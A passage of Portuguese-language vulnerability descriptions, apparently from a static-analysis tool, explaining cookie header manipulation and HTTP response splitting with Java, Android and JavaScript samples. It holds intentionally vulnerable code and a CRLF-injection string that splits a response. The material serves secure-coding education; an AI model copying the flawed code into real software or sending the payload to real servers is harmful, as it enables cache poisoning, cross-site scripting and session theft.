No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta só manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma cadeia de caracteres mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor pode fazer uma única solicitação a um servidor vulnerável que faz com que o servidor crie duas respostas. A segunda delas pode ser mal interpretada como resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa capacidade de convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança do aplicativo. Na pior das hipóteses, um invasor pode fornecer conteúdo especialmente criado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de conta e senhas, de volta ao invasor.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, ele continuará recebendo o conteúdo mal-intencionado até que a entrada do cache seja removida, embora apenas o usuário da instância do navegador local seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, há grande variedade de conteúdo mal-intencionado que eles podem fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo da Web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, um invasor pode aproveitar a mesma vulnerabilidade raiz para redirecionar ao invasor conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 113
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.golang.header_manipulation_cookies
Abstract
A inclusão de dados não validados em Cookies pode resultar na manipulação de cabeçalho de Respostas HTTP, além de permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cookie ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cookie HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a manipulação de cookie é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cookie HTTP.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Sendo cabeçalhos de Resposta HTTP, ataques de manipulação de cookie também podem resultar em outros tipos de ataques, como:

Divisão de Respostas HTTP:
Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo 1: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Algumas pessoas acham que, no mundo móvel, vulnerabilidades clássicas de aplicativos Web, como manipulação de cabeçalhos e cookies, não fazem sentido -- por que um usuário atacaria ele próprio? No entanto, lembre-se de que a essência das plataformas móveis são aplicativos que são baixados de várias fontes e executados lado a lado no mesmo dispositivo. A probabilidade de execução de um malware junto com um aplicativo de banco é alta, o que exige a expansão da superfície de ataque de aplicativos móveis de forma a incluir comunicações entre processos.

Exemplo 2: O código a seguir adapta o Example 1 à plataforma Android.


...
CookieManager webCookieManager = CookieManager.getInstance();
String author = this.getIntent().getExtras().getString(AUTHOR_PARAM);
String setCookie = "author=" + author + "; max-age=" + cookieExpiration;
webCookieManager.setCookie(url, setCookie);

...
Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.java.header_manipulation_cookies
Abstract
A inclusão de dados não validados em Cookies pode resultar na manipulação de cabeçalho de Respostas HTTP, além de permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cookie ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cookie HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a manipulação de cookie é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cookie HTTP.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Sendo cabeçalhos de Resposta HTTP, ataques de manipulação de cookie também podem resultar em outros tipos de ataques, como:

Divisão de Respostas HTTP:
Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Cross-User Defacement: Um invasor pode fazer uma única solicitação a um servidor vulnerável que fará com que o servidor crie duas respostas. A segunda delas pode ser mal interpretada como resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa capacidade de convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança do aplicativo. Na pior das hipóteses, um invasor pode fornecer conteúdo especialmente criado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de conta e senhas, de volta ao invasor.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
